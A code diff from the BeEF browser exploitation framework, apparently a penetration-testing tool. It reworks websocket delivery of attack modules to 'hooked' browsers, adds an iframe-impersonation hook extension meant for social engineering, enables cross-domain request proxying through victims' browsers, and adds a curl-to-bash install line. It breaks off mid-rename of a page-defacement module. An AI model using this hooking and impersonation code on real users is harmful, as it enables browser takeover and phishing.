diff --git a/Rakefile b/Rakefile index 4e736b699..adb1a8d14 100644 --- a/Rakefile +++ b/Rakefile @@ -165,10 +165,32 @@ task :cde do sh "make"; Dir.chdir ".."; puts "\nCreating CDE Package...\n"; - sh "./CDE/cde ruby beef"; - sleep (1); + sh "bundle install" + Rake::Task['cde_beef_start'].invoke + Rake::Task['beef_stop'].invoke puts "\nCleaning Up...\n"; - sh "rm -r CDE"; + sleep (2); + sh "rm -rf CDE"; puts "\nCDE Package Created...\n"; end +################################ +# CDE/BeEF environment set up + +@beef_process_id = nil; + +task :cde_beef_start => 'beef' do + printf "Starting CDE BeEF (wait 10 seconds)..." + @beef_process_id = IO.popen("./CDE/cde ruby beef -x 2> /dev/null", "w+") + delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05] + delays.each do |i| # delay for 10 seconds + printf '.' + sleep (i) + end + puts '.' +end + + +################################ + + diff --git a/config.yaml b/config.yaml index dbe51649d..2c09eac85 100644 --- a/config.yaml +++ b/config.yaml @@ -41,10 +41,10 @@ beef: # Prefer WebSockets over XHR-polling when possible. websocket: - enable: true + enable: false secure: false # use WebSocketSecure port: 11989 - alive_timer: 5000 # poll BeEF every 5 seconds + alive_timer: 1000 # poll BeEF every second # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header) web_server_imitation: diff --git a/core/main/client/browser.js b/core/main/client/browser.js index 321d5f0c4..53d6505e5 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -597,29 +597,37 @@ return !!window.history.replaceState && window.navigator.userAgent.match(/Firefo * Returns the list of plugins installed in the browser. */ getPlugins: function() { - var results = ''; - if (this.isIE()) - { - results = this.getPluginsIE(); - } else { - if (navigator.plugins && navigator.plugins.length > 0) - { - var length = navigator.plugins.length; - for (var i=0; i < length; i++) - { - if (i != 0) - results += '\n'; - if(beef.browser.isFF()){ //FF returns exact plugin versions - results += navigator.plugins[i].name + '-v.' + navigator.plugins[i].version; - }else{ // Webkit and Presto (Opera) doesn't support the version attribute, and - // sometimes they store plugin version in description (Real, Adobe) - results += navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description; - } - } - } else { - results = 'navigator.plugins is not supported in this browser!'; - } - } + + var results; + Array.prototype.unique = function() { + var o = {}, i, l = this.length, r = []; + for(i=0; i 0) { + results = new Array(); + for (var i=0; i < navigator.plugins.length; i++) { + + // Firefox returns exact plugin versions + if (beef.browser.isFF()) results[i] = navigator.plugins[i].name + '-v.' + navigator.plugins[i].version; + + // Webkit and Presto (Opera) + // Don't support the version attribute + // Sometimes store the version in description (Real, Adobe) + else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description; + } + results = results.unique().toString(); + + // All browsers that don't support navigator.plugins + } else results = 'navigator.plugins is not supported in this browser!'; + + // Return results return results; }, diff --git a/core/main/client/encode/json.js b/core/main/client/encode/json.js index 23c7317fa..0536180d5 100644 --- a/core/main/client/encode/json.js +++ b/core/main/client/encode/json.js @@ -18,9 +18,15 @@ beef.encode.json = { stringify: function(o) { - if (typeof(JSON) == 'object' && JSON.stringify) - return JSON.stringify(o); - + if (typeof(JSON) == 'object' && JSON.stringify) { + // Error on stringifying cylcic structures caused polling to die + try { + s = JSON.stringify(o); + } catch(error) { + // TODO log error / handle cyclic structures? + } + return s; + } var type = typeof(o); if (o === null) diff --git a/core/main/client/net.js b/core/main/client/net.js index fff74af63..0fa896a92 100644 --- a/core/main/client/net.js +++ b/core/main/client/net.js @@ -92,10 +92,11 @@ beef.net = { } else { try { - beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid + '", "result":"' + beef.encode.base64.encode(results) + '","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }'); + beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid + + '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) + + '","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }'); } catch (e) { - //todo this is necessary because at start could happened that ws in not still up and the browser try to send back browser info via websocket and failed this.queue(handler, cid, results, callback); this.flush(); } @@ -184,14 +185,14 @@ beef.net = { * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script': * This will turn POSTs into GETs for remote-domain requests. */ - if (method == "POST") { - $j.ajaxSetup({ - dataType:dataType - }); - } else { //GET, HEAD, ... - $j.ajaxSetup({ - dataType:'script' - }); + if (method == "POST"){ + $j.ajaxSetup({ + dataType: dataType + }); + } else { + $j.ajaxSetup({ + dataType: 'script' + }); } //build and execute the request @@ -299,11 +300,16 @@ beef.net = { }); } - $j.ajax({type:method, - dataType:'script', // this is required for bugs in IE so data can be transfered back to the server - url:url, - headers:headers, - timeout:(timeout * 1000), + // this is required for bugs in IE so data can be transfered back to the server + if ( beef.browser.isIE() ) { + dataType = 'script' + } + + $j.ajax({type: method, + dataType: dataType, + url: url, + headers: headers, + timeout: (timeout * 1000), // needed otherwise jQuery always adds: // Content-type: application/xml @@ -337,11 +343,31 @@ beef.net = { complete:function (xhr, textStatus) { // cross-domain request if (cross_domain) { - response.status_code = -1; - response.status_text = "crossdomain"; - response.port_status = "crossdomain"; - response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n"; - response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n"; + + response.port_status = "crossdomain"; + + if (xhr.status != 0) { + response.status_code = xhr.status; + } else { + response.status_code = -1; + } + + if (textStatus) { + response.status_text = textStatus; + } else { + response.status_text = "crossdomain"; + } + + if (xhr.getAllResponseHeaders()) { + response.headers = xhr.getAllResponseHeaders(); + } else { + response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n"; + } + + if (!response.response_body) { + response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n"; + } + } else { // same-domain request response.status_code = xhr.status; diff --git a/core/main/handlers/modules/command.rb b/core/main/handlers/modules/command.rb index e79516fd5..25c11865d 100644 --- a/core/main/handlers/modules/command.rb +++ b/core/main/handlers/modules/command.rb @@ -24,12 +24,12 @@ module BeEF # @param [Object] command Command object # @param [Object] hooked_browser Hooked Browser object def add_command_instructions(command, hooked_browser) - (print_error "hooked_browser is nil"; return) if hooked_browser.nil? (print_error "hooked_browser.session is nil"; return) if hooked_browser.session.nil? (print_error "hooked_browser is nil"; return) if command.nil? (print_error "hooked_browser.command_module_id is nil"; return) if command.command_module_id.nil? + config = BeEF::Core::Configuration.instance # @note get the command module command_module = BeEF::Core::Models::CommandModule.first(:id => command.command_module_id) (print_error "command_module is nil"; return) if command_module.nil? @@ -39,7 +39,7 @@ module BeEF command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new else key = BeEF::Module.get_key_by_database_id(command.command_module_id) - command_module = BeEF::Core::Command.const_get(BeEF::Core::Configuration.instance.get("beef.module.#{key}.class")).new(key) + command_module = BeEF::Core::Command.const_get(config.get("beef.module.#{key}.class")).new(key) end command_module.command_id = command.id @@ -48,11 +48,11 @@ module BeEF command_module.pre_send build_missing_beefjs_components(command_module.beefjs_components) if not command_module.beefjs_components.empty? - let= BeEF::Core::Websocket::Websocket.instance + ws = BeEF::Core::Websocket::Websocket.instance #todo antisnatchor: remove this gsub crap adding some hook packing. - if let.getsocket(hooked_browser.session) - funtosend=command_module.output.gsub('// + if config.get("beef.http.websocket.enable") && ws.getsocket(hooked_browser.session) + content = command_module.output.gsub('// // Copyright 2012 Wade Alcorn wade@bindshell.net // // Licensed under the Apache License, Version 2.0 (the "License"); @@ -67,7 +67,7 @@ module BeEF // See the License for the specific language governing permissions and // limitations under the License. //', "") - let.sent(funtosend, hooked_browser.session) + ws.send(content, hooked_browser.session) else @body << command_module.output + "\n\n" end diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index 134ea4007..a24506827 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -27,6 +27,7 @@ module BeEF @@activeSocket= Hash.new @@lastalive= Hash.new @@config = BeEF::Core::Configuration.instance + MOUNTS = BeEF::Core::Server.instance.mounts def initialize port = @@config.get("beef.http.websocket.port") @@ -51,8 +52,20 @@ module BeEF hooked_browser.lastseen = Time.new.to_i hooked_browser.count! hooked_browser.save + + #Check if new modules need to be sent zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false) zombie_commands.each { |command| add_command_instructions(command, hooked_browser) } + + #@todo antisnatchor: + #@todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions + #Check if new forged requests need to be sent (Requester/TunnelingProxy) + dhook = BeEF::Extension::Requester::API::Hook.new + dhook.requester_run(hooked_browser, '') + + #Check if new XssRays scan need to be started + xssrays = BeEF::Extension::Xssrays::API::Scan.new + xssrays.start_scan(hooked_browser, '') end else #json recv is a cmd response decode and send all to @@ -83,7 +96,7 @@ module BeEF #@note send a function to hooked and ws browser #@param [String] fn the module to execute #@param [String] session the hooked browser session - def sent (fn, session) + def send (fn, session) @@activeSocket[session].send(fn) end @@ -99,8 +112,21 @@ module BeEF (print_error "command_id is invalid"; return) if not BeEF::Filters.is_valid_command_id?(data["cid"]) (print_error "command name is empty"; return) if data["handler"].empty? (print_error "command results are empty"; return) if command_results.empty? - BeEF::Core::Models::Command.save_result(hooked_browser, data["cid"], - @@config.get("beef.module.#{data["handler"].gsub("/command/", "").gsub(".js", "")}.name"), command_results) + handler = data["handler"] + if handler.match(/command/) + BeEF::Core::Models::Command.save_result(hooked_browser, data["cid"], + @@config.get("beef.module.#{handler.gsub("/command/", "").gsub(".js", "")}.name"), command_results) + else #processing results from extensions, call the right handler + data["beefhook"] = hooked_browser + data["results"] = JSON.parse(Base64.decode64(data["result"])) + if MOUNTS.has_key?(handler) + if MOUNTS[handler].class == Array and MOUNTS[handler].length == 2 + MOUNTS[handler][0].new(data, MOUNTS[handler][1]) + else + MOUNTS[handler].new(data) + end + end + end end end end diff --git a/core/modules.rb b/core/modules.rb index dac76bd1c..37d7ac953 100644 --- a/core/modules.rb +++ b/core/modules.rb @@ -33,11 +33,20 @@ module BeEF def self.get_categories categories = [] BeEF::Core::Configuration.instance.get('beef.module').each {|k,v| - if not categories.include?(v['category']) - categories << v['category'] + flatcategory = "" + if v['category'].kind_of?(Array) + # Therefore this module has nested categories (sub-folders), munge them together into a string with '/' characters, like a folder. + v['category'].each {|cat| + flatcategory << cat + "/" + } + else + flatcategory = v['category'] + end + if not categories.include?(flatcategory) + categories << flatcategory end } - return categories.sort + return categories.sort.uniq #This is now uniqued, because otherwise the recursive function to build the json tree breaks if there are duplicates. end # Get all modules currently stored in the database diff --git a/extensions/admin_ui/controllers/modules/modules.rb b/extensions/admin_ui/controllers/modules/modules.rb index 18528ceed..17d757e29 100644 --- a/extensions/admin_ui/controllers/modules/modules.rb +++ b/extensions/admin_ui/controllers/modules/modules.rb @@ -427,8 +427,28 @@ class Modules < BeEF::Extension::AdminUI::HttpController return BeEF::Module.support(mod, {'browser' => BD.get(hook_session_id, 'BrowserName'), 'ver' => BD.get(hook_session_id, 'BrowserVersion'), 'os' => [BD.get(hook_session_id, 'OsName')]}) end - def update_command_module_tree(tree, cmd_category, cmd_icon_path, cmd_status, cmd_name, cmd_id) + # If we're adding a leaf to the command tree, and it's in a subfolder, we need to recurse + # into the tree to find where it goes + def update_command_module_tree_recurse(tree,category,leaf) + working_category = category.shift + tree.each {|t| + if t['text'].eql? working_category and category.count > 0 + #We have deeper to go + update_command_module_tree_recurse(t['children'],category,leaf) + elsif t['text'].eql? working_category + #Bingo + t['children'].push(leaf) + break + end + } + + #return tree + + end + + #Add the command to the tree + def update_command_module_tree(tree, cmd_category, cmd_icon_path, cmd_status, cmd_name, cmd_id) # construct leaf node for the command module tree leaf_node = { 'text' => cmd_name, @@ -439,24 +459,99 @@ class Modules < BeEF::Extension::AdminUI::HttpController } # add the node to the branch in the command module tree - tree.each {|x| - if x['text'].eql? cmd_category - x['children'].push( leaf_node ) - break - end - } + if cmd_category.is_a?(Array) + #The category is an array, therefore it's a sub-folderised category + cat_copy = cmd_category.dup #Don't work with the original array, because, then it breaks shit + update_command_module_tree_recurse(tree,cat_copy,leaf_node) + else + #original logic here, simply add the command to the tree. + tree.each {|x| + if x['text'].eql? cmd_category + x['children'].push( leaf_node ) + break + end + } + end end - + + #Recursive function to build the tree now with sub-folders + def build_recursive_tree(parent,input) + cinput = input.shift.chomp('/') + if cinput.split('/').count == 1 #then we have a single folder now + if parent.detect {|p| p['text'] == cinput}.nil? + parent << {'text' => cinput, 'cls' => 'folder', 'children' => []} + else + if input.count > 0 + parent.each {|p| + if p['text'] == cinput + p['children'] = build_recursive_tree(p['children'],input) + end + } + end + end + else + #we have multiple folders + newinput = cinput.split('/') + newcinput = newinput.shift + if parent.detect {|p| p['text'] == newcinput }.nil? + fldr = {'text' => newcinput, 'cls' => 'folder', 'children' => []} + parent << build_recursive_tree(fldr['children'],newinput) + else + parent.each {|p| + if p['text'] == newcinput + p['children'] = build_recursive_tree(p['children'],newinput) + end + } + end + end + + if input.count > 0 + return build_recursive_tree(parent,input) + else + return parent + end + end + + #Recursive function to sort all the parent's children + def sort_recursive_tree(parent) + # sort the children nodes by status and name + parent.each {|x| + #print_info "Sorting: " + x['children'].to_s + if x.is_a?(Hash) and x.has_key?('children') + x['children'] = x['children'].sort_by {|a| + fldr = a['cls'] ? a['cls'] : 'zzzzz' + "#{fldr}#{a['status']}#{a['text']}" + } + x['children'].each {|c| + sort_recursive_tree([c]) if c.has_key?('cls') and c['cls'] == 'folder' + } + end + } + end + + #Recursive function to retitle folders with the number of children + def retitle_recursive_tree(parent) + # append the number of command modules so the branch name results in: " (num)" + parent.each {|command_module_branch| + if command_module_branch.is_a?(Hash) and command_module_branch.has_key?('children') + num_of_command_modules = command_module_branch['children'].length + command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")" + + command_module_branch['children'].each {|c| + retitle_recursive_tree([c]) if c.has_key?('cls') and c['cls'] == 'folder' + } + end + } + end + # Returns the list of all command_modules for a TreePanel in the interface. def select_command_modules_tree + blanktree = [] tree = [] - BeEF::Modules.get_categories.each { |c| - tree.push({ - 'text' => c, - 'cls' => 'folder', - 'children' => [] - }) - } + + #Due to the sub-folder nesting, we use some really badly hacked together recursion + #Note to the bored - if someone (anyone please) wants to refactor, I'll buy you cookies. -x + tree = build_recursive_tree(blanktree,BeEF::Modules.get_categories) BeEF::Modules.get_enabled.each{|k, mod| # get the hooked browser session id and set it in the command module @@ -508,16 +603,11 @@ class Modules < BeEF::Extension::AdminUI::HttpController # sort the parent array nodes tree.sort! {|a,b| a['text'] <=> b['text']} - # sort the children nodes by status and name - tree.each {|x| x['children'] = - x['children'].sort_by {|a| [a['status'],a['text']]} - } + sort_recursive_tree(tree) + + retitle_recursive_tree(tree) - # append the number of command modules so the branch name results in: " (num)" - tree.each {|command_module_branch| - num_of_command_modules = command_module_branch['children'].length - command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")" - } + # return a JSON array of hashes @body = tree.to_json diff --git a/extensions/customhook/api.rb b/extensions/customhook/api.rb new file mode 100644 index 000000000..90a47bdb9 --- /dev/null +++ b/extensions/customhook/api.rb @@ -0,0 +1,38 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +module BeEF +module Extension +module Customhook + + module RegisterHttpHandlers + + BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'mount_handler') + BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'pre_http_start') + + def self.mount_handler(beef_server) + configuration = BeEF::Core::Configuration.instance + beef_server.mount(configuration.get("beef.extension.customhook.customhook_path"), BeEF::Extension::Customhook::Handler.new) + end + + def self.pre_http_start(beef_server) + configuration = BeEF::Core::Configuration.instance + print_success "Successfully mounted a custom hook point" + print_more "Mount Point: #{configuration.get('beef.extension.customhook.customhook_path')}\nLoading iFrame: #{configuration.get('beef.extension.customhook.customhook_target')}\n" + end + end +end +end +end diff --git a/extensions/customhook/config.yaml b/extensions/customhook/config.yaml new file mode 100644 index 000000000..9daf85e72 --- /dev/null +++ b/extensions/customhook/config.yaml @@ -0,0 +1,24 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + extension: + customhook: + enable: false + name: 'Custom Hook Point with iFrame Impersonation' + customhook_path: "/yougotchipmunked" + customhook_target: "http://www.chipmunks.com" + customhook_title: "Alvin and the Chipmunks.." + diff --git a/extensions/customhook/extension.rb b/extensions/customhook/extension.rb new file mode 100644 index 000000000..089425f23 --- /dev/null +++ b/extensions/customhook/extension.rb @@ -0,0 +1,33 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +module BeEF +module Extension +module Customhook + + extend BeEF::API::Extension + + @short_name = 'customhook' + + @full_name = 'Custom Hook Point with iFrame Impersonation' + + @description = 'An auto-hook and full-screen iframe - demonstrating extension creation and social engineering attacks' + +end +end +end + +require 'extensions/customhook/api' +require 'extensions/customhook/handler' diff --git a/extensions/customhook/handler.rb b/extensions/customhook/handler.rb new file mode 100644 index 000000000..04b601094 --- /dev/null +++ b/extensions/customhook/handler.rb @@ -0,0 +1,61 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +module BeEF +module Extension +module Customhook + + class Handler + + def call(env) + @body = '' + @request = Rack::Request.new(env) + @params = @request.query_string + @response = Rack::Response.new(body=[], 200, header={}) + config = BeEF::Core::Configuration.instance + + eruby = Erubis::FastEruby.new(File.read(File.dirname(__FILE__)+'/html/index.html')) + + @body << eruby.evaluate({'customhook_target' => config.get("beef.extension.customhook.customhook_target"), + 'customhook_title' => config.get("beef.extension.customhook.customhook_title")}) + + @response = Rack::Response.new( + body = [@body], + status = 200, + header = { + 'Pragma' => 'no-cache', + 'Cache-Control' => 'no-cache', + 'Expires' => '0', + 'Content-Type' => 'text/html', + 'Access-Control-Allow-Origin' => '*', + 'Access-Control-Allow-Methods' => 'POST, GET' + } + ) + + end + + private + + # @note Object representing the HTTP request + @request + + # @note Object representing the HTTP response + @response + + end + +end +end +end diff --git a/extensions/customhook/html/index.html b/extensions/customhook/html/index.html new file mode 100644 index 000000000..c1acd833a --- /dev/null +++ b/extensions/customhook/html/index.html @@ -0,0 +1,18 @@ + + + <%= @customhook_title %> + + + + + + + diff --git a/extensions/proxy/proxy.rb b/extensions/proxy/proxy.rb index eb4ee0dca..3dfdb6cd4 100644 --- a/extensions/proxy/proxy.rb +++ b/extensions/proxy/proxy.rb @@ -82,10 +82,10 @@ module BeEF :path => uri.path, :request_date => Time.now, :hooked_browser_id => self.get_tunneling_proxy, - :allow_cross_domain => "false" + :allow_cross_domain => "true" ) http.save - print_debug("[PROXY] --> Forwarding request ##{http.id}: domain[#{http.domain}:#{http.port}], method[#{http.method}], path[#{http.path}]") + print_debug("[PROXY] --> Forwarding request ##{http.id}: domain[#{http.domain}:#{http.port}], method[#{http.method}], path[#{http.path}], cross domain[#{http.allow_cross_domain}]") # Wait for the HTTP response to be stored in the db. # TODO: re-implement this with EventMachine or with the Observer pattern. diff --git a/extensions/requester/api/hook.rb b/extensions/requester/api/hook.rb index 0870bdf9b..89fc83ef9 100644 --- a/extensions/requester/api/hook.rb +++ b/extensions/requester/api/hook.rb @@ -34,18 +34,45 @@ module BeEF } return if output.empty? + config = BeEF::Core::Configuration.instance + ws = BeEF::Core::Websocket::Websocket.instance - # Build the BeEFJS requester component - build_missing_beefjs_components 'beef.net.requester' + # todo antisnatchor: prevent sending "content" multiple times. Better leaving it after the first run, and don't send it again. + #todo antisnatchor: remove this gsub crap adding some hook packing. + if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session) + content = File.read(find_beefjs_component_path 'beef.net.requester').gsub('// + // Copyright 2012 Wade Alcorn wade@bindshell.net + // + // Licensed under the Apache License, Version 2.0 (the "License"); + // you may not use this file except in compliance with the License. + // You may obtain a copy of the License at + // + // http://www.apache.org/licenses/LICENSE-2.0 + // + // Unless required by applicable law or agreed to in writing, software + // distributed under the License is distributed on an "AS IS" BASIS, + // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + // See the License for the specific language governing permissions and + // limitations under the License. + //', "") + add_to_body output + ws.send(content + @body,hb.session) + #if we use WebSockets, just reply wih the component contents + else # if we use XHR-polling, add the component to the main hook file + build_missing_beefjs_components 'beef.net.requester' + # Send the command to perform the requests to the hooked browser + add_to_body output + end + end - # Send the command to perform the requests to the hooked browser + def add_to_body(output) @body << %Q{ - beef.execute(function() { - beef.net.requester.send( - #{output.to_json} - ); - }); - } + beef.execute(function() { + beef.net.requester.send( + #{output.to_json} + ); + }); + } end # diff --git a/extensions/xssrays/api/scan.rb b/extensions/xssrays/api/scan.rb index b2cbcc28e..ce5d31548 100644 --- a/extensions/xssrays/api/scan.rb +++ b/extensions/xssrays/api/scan.rb @@ -27,7 +27,7 @@ module BeEF # def start_scan(hb, body) @body = body - + config = BeEF::Core::Configuration.instance hb = BeEF::Core::Models::HookedBrowser.first(:id => hb.id) #TODO: we should get the xssrays_scan table with more accuracy, if for some reasons we requested #TODO: 2 scans on the same hooked browsers, "first" could not get the right result we want @@ -40,23 +40,52 @@ module BeEF xs.update(:is_started => true) # build the beefjs xssrays component - build_missing_beefjs_components 'beef.net.xssrays' # the URI of the XssRays handler where rays should come back if the vulnerability is verified beefurl = BeEF::Core::Server.instance.url cross_domain = xs.cross_domain timeout = xs.clean_timeout - debug = BeEF::Core::Configuration.instance.get("beef.extension.xssrays.js_console_logs") + debug = config.get("beef.extension.xssrays.js_console_logs") - @body << %Q{ - beef.execute(function() { - beef.net.xssrays.startScan('#{xs.id}', '#{hb.session}', '#{beefurl}', #{cross_domain}, #{timeout}, #{debug}); - }); - } + ws = BeEF::Core::Websocket::Websocket.instance + + # todo antisnatchor: prevent sending "content" multiple times. Better leaving it after the first run, and don't send it again. + # todo antisnatchor: remove this gsub crap adding some hook packing. + if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session) + content = File.read(find_beefjs_component_path 'beef.net.xssrays').gsub('// + // Copyright 2012 Wade Alcorn wade@bindshell.net + // + // Licensed under the Apache License, Version 2.0 (the "License"); + // you may not use this file except in compliance with the License. + // You may obtain a copy of the License at + // + // http://www.apache.org/licenses/LICENSE-2.0 + // + // Unless required by applicable law or agreed to in writing, software + // distributed under the License is distributed on an "AS IS" BASIS, + // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + // See the License for the specific language governing permissions and + // limitations under the License. + //', "") + add_to_body xs.id, hb.session, beefurl, cross_domain, timeout, debug + ws.send(content + @body,hb.session) + #if we use WebSockets, just reply wih the component contents + else # if we use XHR-polling, add the component to the main hook file + build_missing_beefjs_components 'beef.net.xssrays' + add_to_body xs.id, hb.session, beefurl, cross_domain, timeout, debug + end print_debug("[XSSRAYS] Adding XssRays to the DOM. Scan id [#{xs.id}], started at [#{xs.scan_start}], cross domain [#{cross_domain}], clean timeout [#{timeout}], js console debug [#{debug}].") end + + def add_to_body(id, session, beefurl, cross_domain, timeout, debug) + @body << %Q{ + beef.execute(function() { + beef.net.xssrays.startScan('#{id}', '#{session}', '#{beefurl}', #{cross_domain}, #{timeout}, #{debug}); + }); + } + end end end end diff --git a/extensions/xssrays/config.yaml b/extensions/xssrays/config.yaml index e9a8a77e6..84d136b5a 100644 --- a/extensions/xssrays/config.yaml +++ b/extensions/xssrays/config.yaml @@ -22,4 +22,4 @@ beef: clean_timeout: 3000 cross_domain: true # set js_console_logs to false when using BeEF in production (also because IE < 9 doesn't support the console object) - js_console_logs: false + js_console_logs: true diff --git a/install-beef b/install-beef index 2c2401b20..2669588ff 100644 --- a/install-beef +++ b/install-beef @@ -18,6 +18,17 @@ clear echo "======================================" echo " BeEF Installer " echo "======================================" +echo "" + +echo "CAUTION: This installation script will install a number of BeEF dependencies including the Ruby-RVM environemnt and it's dependencies." +echo "" +echo "In rare cases, this may lead to unexpected behaviour or package conflicts on some systems." +echo "" +read -p "Are you sure you wish to continue (Y/n)? " +if [ "`echo ${REPLY} | tr [:upper:] [:lower:]`" == "n" ] ; then + exit; +fi + echo "" echo "Detecting OS.."; @@ -52,7 +63,6 @@ if [ "$OS" == "Darwin" ]; then bundle install OK="yes" - cd beef ./beef echo "" @@ -69,17 +79,31 @@ if [ "$Distro" == "Debian" ]; then echo "Debian/Ubuntu Detected" echo "Installing Prerequisite Packages.." sudo apt-get update - sudo apt-get install ruby1.9.1-dev build-essential libsqlite3-ruby libsqlite3-dev build-essential libsqlite3-ruby git libsqlite3-dev rake + sudo apt-get install curl git + + + +sudo apt-get install build-essential openssl libreadline6 libreadline6-dev zlib1g zlib1g-dev libssl-dev libyaml-dev libsqlite3-0 libsqlite3-dev sqlite3 libxml2-dev libxslt1-dev autoconf libc6-dev libncurses5-dev automake libtool bison subversion + +bash < <(curl -sk https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer) + +echo '[[ -s "$HOME/.rvm/scripts/rvm" ]] && . "$HOME/.rvm/scripts/rvm"' >> ~/.bashrc + +source ~/.bashrc +source $HOME/.rvm/scripts/rvm + + rvm install 1.9.2 + rvm use 1.9.2 --default echo "Downloading BeEF.." git clone git://github.com/beefproject/beef.git cd beef echo "Installing Ruby Gems" - sudo gem install bundler - sudo bundle install + gem install bundler + bundle install + - cd beef ./beef OK="yes" @@ -115,7 +139,6 @@ if [ "$Distro" == "RedHat" ]; then source ~/.bash_profile - cd beef ./beef OK="yes" @@ -128,7 +151,7 @@ if [ "$Distro" == "RedHat" ]; then fi if [ "$OK" == "yes" ]; then - +echo "" else echo "" echo "=======================================" diff --git a/modules/hooked_domain/ajax_fingerprint/command.js b/modules/browser/hooked_domain/ajax_fingerprint/command.js similarity index 100% rename from modules/hooked_domain/ajax_fingerprint/command.js rename to modules/browser/hooked_domain/ajax_fingerprint/command.js diff --git a/modules/hooked_domain/ajax_fingerprint/config.yaml b/modules/browser/hooked_domain/ajax_fingerprint/config.yaml similarity index 94% rename from modules/hooked_domain/ajax_fingerprint/config.yaml rename to modules/browser/hooked_domain/ajax_fingerprint/config.yaml index b1cd1b6ce..fb4f54fc8 100644 --- a/modules/hooked_domain/ajax_fingerprint/config.yaml +++ b/modules/browser/hooked_domain/ajax_fingerprint/config.yaml @@ -17,7 +17,7 @@ beef: module: ajax_fingerprint: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Fingerprint Ajax" description: "Fingerprint Ajax and JS libraries present on the hooked page." authors: ["qswain"] diff --git a/modules/hooked_domain/ajax_fingerprint/module.rb b/modules/browser/hooked_domain/ajax_fingerprint/module.rb similarity index 100% rename from modules/hooked_domain/ajax_fingerprint/module.rb rename to modules/browser/hooked_domain/ajax_fingerprint/module.rb diff --git a/modules/hooked_domain/alert_dialog/command.js b/modules/browser/hooked_domain/alert_dialog/command.js similarity index 100% rename from modules/hooked_domain/alert_dialog/command.js rename to modules/browser/hooked_domain/alert_dialog/command.js diff --git a/modules/hooked_domain/alert_dialog/config.yaml b/modules/browser/hooked_domain/alert_dialog/config.yaml similarity index 94% rename from modules/hooked_domain/alert_dialog/config.yaml rename to modules/browser/hooked_domain/alert_dialog/config.yaml index 1e7c1e477..a5572a41d 100644 --- a/modules/hooked_domain/alert_dialog/config.yaml +++ b/modules/browser/hooked_domain/alert_dialog/config.yaml @@ -17,7 +17,7 @@ beef: module: alert_dialog: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Create Alert Dialog" description: "Sends an alert dialog to the hooked browser." authors: ["wade", "bm"] diff --git a/modules/hooked_domain/alert_dialog/module.rb b/modules/browser/hooked_domain/alert_dialog/module.rb similarity index 100% rename from modules/hooked_domain/alert_dialog/module.rb rename to modules/browser/hooked_domain/alert_dialog/module.rb diff --git a/modules/hooked_domain/deface_web_page/command.js b/modules/browser/hooked_domain/deface_web_page/command.js similarity index 89% rename from modules/hooked_domain/deface_web_page/command.js rename to 